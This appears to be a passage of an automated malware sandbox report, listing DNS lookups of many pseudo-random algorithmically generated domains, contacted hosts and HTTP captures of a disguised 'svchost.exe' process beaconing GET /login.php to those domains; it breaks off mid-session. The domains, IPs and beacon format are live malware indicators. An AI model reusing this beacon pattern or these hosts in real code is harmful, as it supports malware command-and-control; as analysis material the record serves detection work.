                                                                                                                                                                                                          Nov 11, 2024 18:14:52.350984097 CET1.1.1.1192.168.2.60x4809Name error (3)lykyjad.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.361160040 CET1.1.1.1192.168.2.60x600dName error (3)vofymik.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.362102985 CET1.1.1.1192.168.2.60xbffaName error (3)volykyc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.371172905 CET1.1.1.1192.168.2.60x423cName error (3)lyryvex.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374010086 CET1.1.1.1192.168.2.60x86b1Name error (3)gaqydeb.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374042988 CET1.1.1.1192.168.2.60x52b0Name error (3)gacyryw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374078989 CET1.1.1.1192.168.2.60x541fName error (3)vocyruk.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377984047 CET1.1.1.1192.168.2.60x5f57Name error (3)vopybyt.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.378844976 CET1.1.1.1192.168.2.60x4517Name error (3)qexyryl.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.378947020 CET1.1.1.1192.168.2.60xfc77Name error (3)lygygin.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.379409075 CET1.1.1.1192.168.2.60xcaacName error (3)qeqyxov.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.379667044 CET1.1.1.1192.168.2.60x7eaaName error (3)qeqysag.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.380871058 CET1.1.1.1192.168.2.60x326fName error (3)lymysan.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.381411076 CET1.1.1.1192.168.2.60xceafName error (3)gahyhob.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.381587029 CET1.1.1.1192.168.2.60xf887Name error (3)lyvytuj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.385986090 CET1.1.1.1192.168.2.60x2f04Name error (3)lygymoj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.386380911 CET1.1.1.1192.168.2.60x549aName error (3)gacyzuz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.387008905 CET1.1.1.1192.168.2.60xb804Name error (3)puvytuq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.387911081 CET1.1.1.1192.168.2.60x295fName error (3)vonyzuf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.395459890 CET1.1.1.1192.168.2.60xe41eName error (3)pufygug.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.395951033 CET1.1.1.1192.168.2.60x7f46Name error (3)gaqycos.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.398183107 CET1.1.1.1192.168.2.60xb9bbName error (3)purydyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401374102 CET1.1.1.1192.168.2.60xa6aName error (3)qedyfyq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401426077 CET1.1.1.1192.168.2.60x359fName error (3)lyxylux.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401626110 CET1.1.1.1192.168.2.60xb58fName error (3)qegyqaq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401925087 CET1.1.1.1192.168.2.60xaafName error (3)qekyqop.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.402431011 CET1.1.1.1192.168.2.60xd12fName error (3)vowydef.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.403537035 CET1.1.1.1192.168.2.60xdafeName error (3)pumyxiv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404441118 CET1.1.1.1192.168.2.60xd298No error (0)qegyhig.com188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404441118 CET1.1.1.1192.168.2.60xd298No error (0)qegyhig.com188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.406949997 CET1.1.1.1192.168.2.60x9861Name error (3)vofygum.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.408780098 CET1.1.1.1192.168.2.60xecaaName error (3)volyqat.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.408795118 CET1.1.1.1192.168.2.60xbcbaName error (3)qexylup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.414619923 CET1.1.1.1192.168.2.60xa49cName error (3)gadyfuh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.419230938 CET1.1.1.1192.168.2.60x7d79Name error (3)lyxywer.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.420999050 CET1.1.1.1192.168.2.60x92ceName error (3)vowycac.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.421703100 CET1.1.1.1192.168.2.60x365cName error (3)purycap.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.421833038 CET1.1.1.1192.168.2.60xc0f2Name error (3)qetyvep.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.421978951 CET1.1.1.1192.168.2.60x57d1Name error (3)vojyjof.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.425667048 CET1.1.1.1192.168.2.60xb237Name error (3)pumypog.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.435834885 CET1.1.1.1192.168.2.60xb8cfName error (3)puzywel.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.505532026 CET1.1.1.1192.168.2.60x6835No error (0)vonypom.com18.208.156.248A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.511306047 CET1.1.1.1192.168.2.60x5fb0No error (0)qetyfuv.com44.221.84.105A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.525607109 CET1.1.1.1192.168.2.60xaa0aNo error (0)puzylyp.com75.2.71.199A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.525607109 CET1.1.1.1192.168.2.60xaa0aNo error (0)puzylyp.com99.83.170.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.527156115 CET1.1.1.1192.168.2.60x2e10No error (0)lyvyxor.com208.100.26.245A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.558777094 CET1.1.1.1192.168.2.60xec37No error (0)vocyzit.com44.221.84.105A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.572365999 CET1.1.1.1192.168.2.60x77f0No error (0)gadyniw.com154.212.231.82A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.572623014 CET1.1.1.1192.168.2.60xd86No error (0)vojyqem.com77980.bodis.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.572623014 CET1.1.1.1192.168.2.60xd86No error (0)77980.bodis.com199.59.243.227A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.581875086 CET1.1.1.1192.168.2.60xffdNo error (0)lymyxid.com3.94.10.34A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.595557928 CET1.1.1.1192.168.2.60xa33Server failure (2)lysyfyj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.625622034 CET1.1.1.1192.168.2.60x26ffNo error (0)galyqaz.com199.191.50.83A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.887693882 CET1.1.1.1192.168.2.60x29a9No error (0)www.gahyqah.comparkingpage.namecheap.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.887693882 CET1.1.1.1192.168.2.60x29a9No error (0)parkingpage.namecheap.com91.195.240.19A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806469917 CET1.1.1.1192.168.2.60x82dcName error (3)lykymox.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806592941 CET1.1.1.1192.168.2.60x85c4Name error (3)qeqylyl.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806806087 CET1.1.1.1192.168.2.60xe8b6Name error (3)vojymic.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806890965 CET1.1.1.1192.168.2.60x9829Name error (3)gadydas.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807117939 CET1.1.1.1192.168.2.60xb15eName error (3)vocykem.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807141066 CET1.1.1.1192.168.2.60x9e4cName error (3)vowyzuk.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807177067 CET1.1.1.1192.168.2.60xfd49Name error (3)puvylyg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807362080 CET1.1.1.1192.168.2.60x85efName error (3)puzymig.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807384968 CET1.1.1.1192.168.2.60x7faName error (3)vopycom.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807432890 CET1.1.1.1192.168.2.60x36cfName error (3)lyryxij.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807442904 CET1.1.1.1192.168.2.60xda30Name error (3)lymylyr.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807616949 CET1.1.1.1192.168.2.60x9846Name error (3)pujygul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807627916 CET1.1.1.1192.168.2.60xacf0Name error (3)gahyfyz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807637930 CET1.1.1.1192.168.2.60xd849Name error (3)gaqyzuw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807748079 CET1.1.1.1192.168.2.60x3185Name error (3)puvywav.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807758093 CET1.1.1.1192.168.2.60xd47eName error (3)gadyveb.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807786942 CET1.1.1.1192.168.2.60x4bb6Name error (3)lymytux.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807900906 CET1.1.1.1192.168.2.60xd0ccName error (3)puzyjoq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808085918 CET1.1.1.1192.168.2.60x858eName error (3)qegynuv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808137894 CET1.1.1.1192.168.2.60x60cName error (3)vofydac.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808146954 CET1.1.1.1192.168.2.60x7aceName error (3)volyjok.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808161974 CET1.1.1.1192.168.2.60x47abName error (3)lykygur.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808198929 CET1.1.1.1192.168.2.60x2fdeName error (3)gahynus.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808321953 CET1.1.1.1192.168.2.60xb24aName error (3)ganyrys.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808532000 CET1.1.1.1192.168.2.60xef53Name error (3)purypol.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808554888 CET1.1.1.1192.168.2.60xebe1Name error (3)vonyryc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808638096 CET1.1.1.1192.168.2.60x6244Name error (3)lyxymin.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808648109 CET1.1.1.1192.168.2.60xcf6aName error (3)lygyfex.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808656931 CET1.1.1.1192.168.2.60xb9a4Name error (3)vowypit.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808685064 CET1.1.1.1192.168.2.60x4ab2Name error (3)gatydaw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808734894 CET1.1.1.1192.168.2.60x64efName error (3)vocyqaf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808782101 CET1.1.1.1192.168.2.60x7a50Name error (3)pumytup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808814049 CET1.1.1.1192.168.2.60x3ff4Name error (3)lyxyjaj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809271097 CET1.1.1.1192.168.2.60x595bName error (3)vojygut.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809505939 CET1.1.1.1192.168.2.60xf82bName error (3)qebyrev.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809515953 CET1.1.1.1192.168.2.60x858Name error (3)qedyveg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809524059 CET1.1.1.1192.168.2.60x47a4Name error (3)gacykeh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.810081005 CET1.1.1.1192.168.2.60x4be1Name error (3)vofybyf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.810411930 CET1.1.1.1192.168.2.60xa0b0Name error (3)puryxuq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.810648918 CET1.1.1.1192.168.2.60x706eName error (3)gaqypiz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.812470913 CET1.1.1.1192.168.2.60xed9fName error (3)vopydek.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.818805933 CET1.1.1.1192.168.2.60xc990No error (0)pupydeq.com13.248.169.48A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.818805933 CET1.1.1.1192.168.2.60xc990No error (0)pupydeq.com76.223.54.146A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.826658010 CET1.1.1.1192.168.2.60x6c71Name error (3)qebylug.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827747107 CET1.1.1.1192.168.2.60xf846Name error (3)qexyqog.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827841997 CET1.1.1.1192.168.2.60xc3d6Name error (3)lyvywed.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827964067 CET1.1.1.1192.168.2.60x6cceName error (3)qegyfyp.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828227997 CET1.1.1.1192.168.2.60x19d3Name error (3)qekyhil.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828272104 CET1.1.1.1192.168.2.60x8acdName error (3)pujymip.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828310966 CET1.1.1.1192.168.2.60x3ce5Name error (3)volymum.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828344107 CET1.1.1.1192.168.2.60xdc10Name error (3)ganyzub.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828890085 CET1.1.1.1192.168.2.60xa980Name error (3)lyvylyn.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829096079 CET1.1.1.1192.168.2.60x5b41Name error (3)gatycoh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829107046 CET1.1.1.1192.168.2.60x5694Name error (3)qeqytup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829121113 CET1.1.1.1192.168.2.60x4d59Name error (3)qetyxiq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829132080 CET1.1.1.1192.168.2.60x4a5aName error (3)qetysal.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829169989 CET1.1.1.1192.168.2.60x4088Name error (3)pufydep.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829488039 CET1.1.1.1192.168.2.60x5730Name error (3)qexykaq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829591990 CET1.1.1.1192.168.2.60x32d4Name error (3)gacyqob.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.830410004 CET1.1.1.1192.168.2.60xa113Name error (3)galyhiw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.831507921 CET1.1.1.1192.168.2.60xb6bdName error (3)pufybyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.836481094 CET1.1.1.1192.168.2.60xab17No error (0)lysyvan.com188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.836481094 CET1.1.1.1192.168.2.60xab17No error (0)lysyvan.com188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.000912905 CET1.1.1.1192.168.2.60x439fNo error (0)lygynud.com3.94.10.34A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.009227991 CET1.1.1.1192.168.2.60xb694No error (0)pupycag.com18.208.156.248A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.376717091 CET1.1.1.1192.168.2.60x6c4No error (0)lyrysor.comzz1985.qu200.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.376717091 CET1.1.1.1192.168.2.60x6c4No error (0)zz1985.qu200.comgtm-sg-6l13ukk0m05.qu200.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.376717091 CET1.1.1.1192.168.2.60x6c4No error (0)gtm-sg-6l13ukk0m05.qu200.com103.150.10.48A (IP address)IN (0x0001)false

                                                                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                                                                          • www.google.comuser-agent:
                                                                                                                                                                                                            • qegyhig.com
                                                                                                                                                                                                            • puzylyp.com
                                                                                                                                                                                                            • lysyvan.com
                                                                                                                                                                                                            • gahyqah.com
                                                                                                                                                                                                            • vocyzit.com
                                                                                                                                                                                                            • lyvyxor.com
                                                                                                                                                                                                            • gatyfus.com
                                                                                                                                                                                                            • vonypom.com
                                                                                                                                                                                                            • gadyniw.com
                                                                                                                                                                                                            • qetyfuv.com
                                                                                                                                                                                                            • vojyqem.com
                                                                                                                                                                                                            • lymyxid.com
                                                                                                                                                                                                            • galyqaz.com
                                                                                                                                                                                                            • pupydeq.com
                                                                                                                                                                                                            • lygynud.com
                                                                                                                                                                                                            • pupycag.com
                                                                                                                                                                                                            • lyrysor.com
                                                                                                                                                                                                            • 106.15.232.163:8000
                                                                                                                                                                                                            • galynuh.com
                                                                                                                                                                                                            • qexyhuv.com
                                                                                                                                                                                                            • lyxynyx.com
                                                                                                                                                                                                            • gadyciz.com
                                                                                                                                                                                                            • qegyval.com
                                                                                                                                                                                                            • vofycot.com
                                                                                                                                                                                                            • ww25.lyxynyx.com
                                                                                                                                                                                                            • ww16.vofycot.com
                                                                                                                                                                                                            • qetyhyg.com
                                                                                                                                                                                                            • gatyhub.com
                                                                                                                                                                                                            • lygyvuj.com
                                                                                                                                                                                                            • gahyhiz.com
                                                                                                                                                                                                            • www.gahyqah.com

                                                                                                                                                                                                          HTTP Packets

                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          0192.168.2.64970723.253.46.64804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.891082048 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.347887039 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:12:56 GMT
                                                                                                                                                                                                          Content-Length: 1245
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.347927094 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          1192.168.2.64970844.221.84.105804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893512964 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.323270082 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345181|1731345181|0|1|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          2192.168.2.649709208.100.26.245804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893631935 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.341805935 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
